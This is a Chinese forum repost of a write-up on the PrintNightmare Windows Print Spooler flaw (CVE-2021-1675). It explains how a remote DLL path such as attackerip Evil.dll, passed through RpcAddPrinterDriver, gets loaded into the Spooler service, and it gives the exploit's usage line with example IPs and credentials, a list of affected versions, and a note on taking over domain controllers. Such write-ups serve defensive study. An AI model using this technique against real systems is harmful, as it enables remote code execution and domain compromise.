搜索

[20635] 2021-06-30_CVE-2021-1675WindowsPrintSpoolerRCEEXP

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-06-30_CVE-2021-1675WindowsPrintSpoolerRCEEXP C V E - 2 0 2 1 - 1 6 7 5   W i n d o w s   P r i n t   S p o o l e r   R C E   E X P K h a n 安 全 攻 防 实 验 室   2 0 2 1 - 0 6 - 3 0 P r i n t N i g h t m a r e   ( C V E - 2 0 2 1 - 1 6 7 5 ) ： ： W i n d o w s   后 台 处 理 程 序 服 务 中 的 远 程 代 码 执 后 台 处 理 程 序 服 务 中 的 远 程 代 码 执 行 行 R p c A d d P r i n t e r D r i v e r 向 服 务 器 添 加 打 印 机 驱 动 程 序   ( R p c A d d P r i n t e r D r i v e r ) 让 我 们 检 查 一 下 关 于   R p c A d d P r i n t e r D r i v e r   调 用 的   M S - R P R N ： 打 印 系 统 远 程 协 议 。 要 将 打 印 机 驱 动 程 序 （ “ O E M   打 印 机 驱 动 程 序 ” ） 添 加 或 更 新 到 打 印 服 务 器 （ “ C O R P S E R V ” ） ， 客 户 端 （ “ T E S T C L T ” ） 执 行 以 下 步 骤 。 1 .   客 户 端 可 以 使 用   R P C   调 用   R p c A d d P r i n t e r D r i v e r   向 打 印 服 务 器 添 加 驱 动 程 序 。 2 .   客 户 端 确 保 打 印 机 驱 动 程 序 的 文 件 位 于 服 务 器 可 访 问 的 位 置 。 为 此 ， 客 户 端 可 以 共 享 包 含 文 件 的 本 地 目 录 ， 或 使 用 [ M S - S M B ]   将 文 件 放 入 服 务 器 上 的 目 录 中 3 .   然 后 客 户 端 分 配 并 填 充   D R I V E R _ I N F O _ 2   结 构 ， 如 下 所 示 ： p N a m e   =   L " O E M   打 印 机 驱 动 程 序 " ; p E n v i r o n m e n t   =   L " W i n d o w s   N T   x 8 6 " ;   / *   驱 动 兼 容 的 环 境   * / p D r i v e r P a t h   =   " C O R P S E R V C $ D R I V E R S T A G I N G O E M D R V . D L L " ; 3 1 5   /   4 1 5 [ M S - R P R N ]   -   v 2 0 2 0 0 8 2 6 打 印 系 统 远 程 协 议 版 权 所 有   ©   2 0 2 0   微 软 公 司 发 布 时 间 ： 2 0 2 0   年   8   月   2 6   日 p D a t a F i l e   =   " C O R P S E R V C $ D R I V E R S T A G I N G O E M D A T A . D L L " ; p C o n f i g F i l e   =   " C O R P S E R V C $ D R I V E R S T A G I N G O E M U I . D L L " ; 4 .   客 户 端 分 配 一 个   D R I V E R _ C O N T A I N E R   d r i v e r C o n t a i n e r   结 构 并 初 始 化 它 以 包 含   D R I V E R _ I N F O _ 2   结 构 。 5 .   客 户 端 调 用   R p c A d d P r i n t e r D r i v e r 。 R p c A d d P r i n t e r D r i v e r (   L " C O R P S E R V " ,   & d r i v e r C o n t a i n e r   ) ;
假 设 您 在 那 里 提 供 服 务 的 路 径 p D a t a F i l e   = A . d l l p C o n f i g F i l e   = a t t a c k e r i p E v i l . d l l p D r i v e r P a t h = C . d l l 它 将   A 、 B   和   C   复 制 到 文 件 夹   C : W i n d o w s S y s t e m 3 2 s p o o l d r i v e r s x 6 4 3 n e w 。 然 后 它 将 它 们 复 制 到 C : W i n d o w s S y s t e m 3 2 s p o o l d r i v e r s x 6 4 3 ， 并 加 载   C : W i n d o w s S y s t e m 3 2 s p o o l d r i v e r s x 6 4 3 A . d l l   和   C : W i n d o w s S y s t e m 3 2 s p o o l d r i v e r s x 6 4 3 C . d l l   进 入   S p o o l e r   服 务 。 但 是 ， 在 最 新 版 本 中 ， S p o o l e r   将 检 查 以 确 保   A   和   C   不 是   U N C   路 径 。 但 是 由 于   B 可 以 是   U N C   路 径 ， 所 以 我 们 可 以 将   p C o n f i g F i l e   设 置 为   U N C   路 径 （ e v i l d l l ） 。 这 将 使 我 们 的   e v i l d l l   E v i l . d l l   被 复 制 到 C : W i n d o w s S y s t e m 3 2 s p o o l d r i v e r s x 6 4 3   E v i l . d l l 。 然 后 再 次 调 用   R p c A d d P r i n t e r D r i v e r ， 将   p D a t a F i l e   设 置 为 C : W i n d o w s S y s t e m 3 2 s p o o l d r i v e r s x 6 4 3 E v i l . d l l 。 它 将 加 载 我 们 的 邪 恶   d l l 。 不 幸 的 是 ， 它 不 起 作 用 。 因 为 如 果 你 在 文 件 夹 C : W i n d o w s S y s t e m 3 2 s p o o l d r i v e r s x 6 4 3 中 设 置 了 A 、 B 、 C 。 文 件 复 制 会 出 现 访 问 冲 突 。 为 了 绕 过 这 个 ， 我 们 需 要 使 用 驱 动 程 序 升 级 的 备 份 功 能 。 如 果 我 们 升 级 某 些 驱 动 程 序 ， 旧 版 本 将 备 份 到   C : W i n d o w s S y s t e m 3 2 s p o o l d r i v e r s x 6 4 3 o l d 1   文 件 夹 中 。 然 后 我 们 可 以 绕 过 访 问 冲 突 并 成 功 将 我 们 的   e v i l . d l l   注 入 到   s p o o l e r   服 务 中 。 成 功 加 载 我 们 的 d l l ： 用 法 用 法 . P r i n t N i g h t m a r e . e x e   d c _ i p   p a t h _ t o _ e x p   u s e r _ n a m e   p a s s w o r d E x a m p l e : . P r i n t N i g h t m a r e . e x e   1 9 2 . 1 6 8 . 5 . 1 2 9   1 9 2 . 1 6 8 . 5 . 1 9 7 t e s t M y E x p l o i t . d l l   u s e r 2   t e s t 1 2 3 #
影 响 版 本 影 响 版 本         W i n d o w s   S e r v e r   2 0 1 9   ( S e r v e r   C o r e   i n s t a l l a t i o n )         W i n d o w s   S e r v e r   2 0 1 9         W i n d o w s   S e r v e r   2 0 1 6   ( S e r v e r   C o r e   i n s t a l l a t i o n )         W i n d o w s   S e r v e r   2 0 1 6         W i n d o w s   S e r v e r   2 0 1 2   R 2   ( S e r v e r   C o r e   i n s t a l l a t i o n )         W i n d o w s   S e r v e r   2 0 1 2   R 2         W i n d o w s   S e r v e r   2 0 1 2   ( S e r v e r   C o r e   i n s t a l l a t i o n )         W i n d o w s   S e r v e r   2 0 1 2         W i n d o w s   S e r v e r   2 0 0 8   R 2   f o r   x 6 4 - b a s e d   S y s t e m s   S e r v i c e   P a c k   1   ( S e r v e r   C o r e   i n s t a l l a t i o n )         W i n d o w s   S e r v e r   2 0 0 8   R 2   f o r   x 6 4 - b a s e d   S y s t e m s   S e r v i c e   P a c k   1         W i n d o w s   S e r v e r   2 0 0 8   f o r   x 6 4 - b a s e d   S y s t e m s   S e r v i c e   P a c k   2   ( S e r v e r   C o r e   i n s t a l l a t i o n )         W i n d o w s   S e r v e r   2 0 0 8   f o r   x 6 4 - b a s e d   S y s t e m s   S e r v i c e   P a c k   2         W i n d o w s   S e r v e r   2 0 0 8   f o r   3 2 - b i t   S y s t e m s   S e r v i c e   P a c k   2   ( S e r v e r   C o r e   i n s t a l l a t i o n )         W i n d o w s   S e r v e r   2 0 0 8   f o r   3 2 - b i t   S y s t e m s   S e r v i c e   P a c k   2         W i n d o w s   S e r v e r ,   v e r s i o n   2 0 0 4   ( S e r v e r   C o r e   i n s t a l l a t i o n )         W i n d o w s   R T   8 . 1         W i n d o w s   8 . 1   f o r   x 6 4 - b a s e d   s y s t e m s         W i n d o w s   8 . 1   f o r   3 2 - b i t   s y s t e m s         W i n d o w s   7   f o r   x 6 4 - b a s e d   S y s t e m s   S e r v i c e   P a c k   1         W i n d o w s   7   f o r   3 2 - b i t   S y s t e m s   S e r v i c e   P a c k   1         W i n d o w s   1 0   V e r s i o n   1 6 0 7   f o r   x 6 4 - b a s e d   S y s t e m s         W i n d o w s   1 0   V e r s i o n   1 6 0 7   f o r   3 2 - b i t   S y s t e m s         W i n d o w s   1 0   f o r   x 6 4 - b a s e d   S y s t e m s         W i n d o w s   1 0   f o r   3 2 - b i t   S y s t e m s         W i n d o w s   S e r v e r ,   v e r s i o n   2 0 H 2   ( S e r v e r   C o r e   I n s t a l l a t i o n )         W i n d o w s   1 0   V e r s i o n   2 0 H 2   f o r   A R M 6 4 - b a s e d   S y s t e m s         W i n d o w s   1 0   V e r s i o n   2 0 H 2   f o r   3 2 - b i t   S y s t e m s         W i n d o w s   1 0   V e r s i o n   2 0 H 2   f o r   x 6 4 - b a s e d   S y s t e m s         W i n d o w s   1 0   V e r s i o n   2 0 0 4   f o r   x 6 4 - b a s e d   S y s t e m s         W i n d o w s   1 0   V e r s i o n   2 0 0 4   f o r   A R M 6 4 - b a s e d   S y s t e m s
        W i n d o w s   1 0   V e r s i o n   2 0 0 4   f o r   3 2 - b i t   S y s t e m s         W i n d o w s   1 0   V e r s i o n   2 1 H 1   f o r   3 2 - b i t   S y s t e m s         W i n d o w s   1 0   V e r s i o n   2 1 H 1   f o r   A R M 6 4 - b a s e d   S y s t e m s         W i n d o w s   1 0   V e r s i o n   2 1 H 1   f o r   x 6 4 - b a s e d   S y s t e m s         W i n d o w s   1 0   V e r s i o n   1 9 0 9   f o r   A R M 6 4 - b a s e d   S y s t e m s         W i n d o w s   1 0   V e r s i o n   1 9 0 9   f o r   x 6 4 - b a s e d   S y s t e m s         W i n d o w s   1 0   V e r s i o n   1 9 0 9   f o r   3 2 - b i t   S y s t e m s         W i n d o w s   1 0   V e r s i o n   1 8 0 9   f o r   A R M 6 4 - b a s e d   S y s t e m s         W i n d o w s   1 0   V e r s i o n   1 8 0 9   f o r   x 6 4 - b a s e d   S y s t e m s         W i n d o w s   1 0   V e r s i o n   1 8 0 9   f o r   3 2 - b i t   S y s t e m s                 该 漏 洞 可 用 于 实 现   L P E   和   R C E 。 至 于   R C E   部 分 ， 您 需 要 一 个 用 户 在   S p o o l e r   服 务 上 进 行 身 份 验 证 。 但 是 ， 这 在 域 环 境 中 仍 然 很 重 要 。 由 于 通 常   D C   会 启 用   S p o o l e r   服 务 ， 因 此 被 入 侵 的 域 用 户 可 能 会 利 用 此 漏 洞 来 控 制   D C 地 址 h t t p s : / / g i t h u b . c o m / a f w u / P r i n t N i g h t m a r e
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理